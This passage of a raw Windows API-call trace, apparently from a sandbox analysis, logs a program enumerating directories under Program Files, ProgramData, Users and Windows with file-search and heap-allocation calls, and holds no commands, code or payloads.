dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040380 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x1fb0e68 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd20541c0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20541c0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040390 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4e) returned 0x1fb0ed8 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd215eb60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd215eb60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20349f0 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x1fb0f30 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a00 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x20403e8 [0063.496] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd247e840, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd247e840, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a10 [0063.496] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x58) returned 0x2040460 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0063.497] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a20 [0063.497] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x20404c0 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xd20c65e0, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd20c65e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="windowspowershell", cAlternateFileName="WID5B1~1")) returned 0 [0063.497] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.497] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c48) returned 1 [0063.497] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040050) returned 1 [0063.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Desktop", cAlternateFileName="")) returned 1 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0063.497] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040050 [0063.497] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x1fb0fa0 [0063.497] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0063.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a30 [0063.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4e) returned 0x2034c08 [0063.498] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0063.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a40 [0063.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2040528 [0063.498] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9189b1f0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xe69290d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe69290d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0063.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a50 [0063.498] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2040578 [0063.498] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0063.498] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0063.498] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0063.498] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.498] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c78) returned 1 [0063.498] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040060) returned 1 [0063.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0xffffffff [0063.505] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ca8) returned 1 [0063.505] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040070) returned 1 [0063.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\System Volume Information\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0xffffffff [0063.505] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034cf8) returned 1 [0063.505] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040080) returned 1 [0063.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.505] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.505] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x7efde000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x7efde000, cFileName="Default", cAlternateFileName="")) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040080 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x2034c60 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040070 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x2034c98 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Public", cAlternateFileName="")) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040060 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x2034cd0 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="public", cAlternateFileName="")) returned 0 [0063.506] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034d20) returned 1 [0063.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040090) returned 1 [0063.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="addins", cAlternateFileName="")) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040090 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2e) returned 0x2034d08 [0063.506] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="AppCompat", cAlternateFileName="APPCOM~1")) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a60 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x20405e0 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x57087b83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57087b83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="AppPatch", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a70 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x2040620 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0de3320, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb0de3320, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="assembly", cAlternateFileName="")) returned 1 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034a80 [0063.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x32) returned 0x2040660 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0063.507] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, 